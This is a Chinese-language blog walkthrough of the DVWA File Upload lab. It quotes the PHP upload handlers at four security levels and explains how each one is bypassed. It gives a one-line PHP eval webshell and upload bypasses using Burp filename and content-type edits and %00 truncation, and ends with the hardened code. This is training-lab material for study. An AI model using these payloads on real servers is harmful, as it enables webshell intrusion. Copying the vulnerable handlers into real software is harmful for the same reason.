本文最后更新于2019年05月08日,有任何建议或疑问,欢迎底部讨论。

File Upload,文件上传,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限。

Low

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

basename(path,suffix) 函数返回路径中的文件名部分。
path,必需,规定要检查的路径;
suffix,可选,规定文件扩展名,如果有该参数则不输出这个扩展名,无该参数就输出该扩展名。

<?php
$path = "/testweb/home.php";
//显示带有文件扩展名的文件名
echo basename($path);
//显示不带有文件扩展名的文件名
echo basename($path,".php");
?> 
home.php
home

该段代码未对上传文件作检查、过滤。

漏洞利用:
上传一句话木马 hack.php 内容为 <?php eval($_POST[007xs]);?>
2019-05-08T12:52:54.png

Medium

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

中等级代码限定了文件类型 image/jpeg/peng ,文件大小 小于 100000B(约97.66KB),这个大小足以上传 一句话木马、图马、小马、大马。

但是直接上传图片是不能用菜刀连接 ,未解析。
方法:

  • 直接上传,利用上节的文件包含,使图片以php解析;
  • burp抓包更改文件名,使 filename="hack.png" 改为 filename="hack.php" 或者 filename=hack.php%00.png
  • burp抓包改文件类型,此处为php不行,后缀名对应 content-type 见连接 http://tool.oschina.net/commons/

2019-05-08T12:53:25.png

High

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
注释:strrpos() 函数对大小写敏感。

substr() 函数返回字符串的一部分。
strtolower() 函数把字符串转换为小写。
getimagesize() 函数获取图像大小信息。

综上,该段代码检测文件名,文件大小,文件类型,且文件后缀最后的 . 决定为其后缀名。

所以此处 %00 截断无效,且限定死使用 jpg, jpeg, png 类型文件上传,只能使用一句话图马,利用文件包含使其解析。

Impossible

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
 
    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );
 
        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
 
        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
?>

该段代码加入了 token 防止csrf攻击,对上传文件进行重命名(md5加密),对文件内容做了严格检查,无法上传含有一句话的文件。

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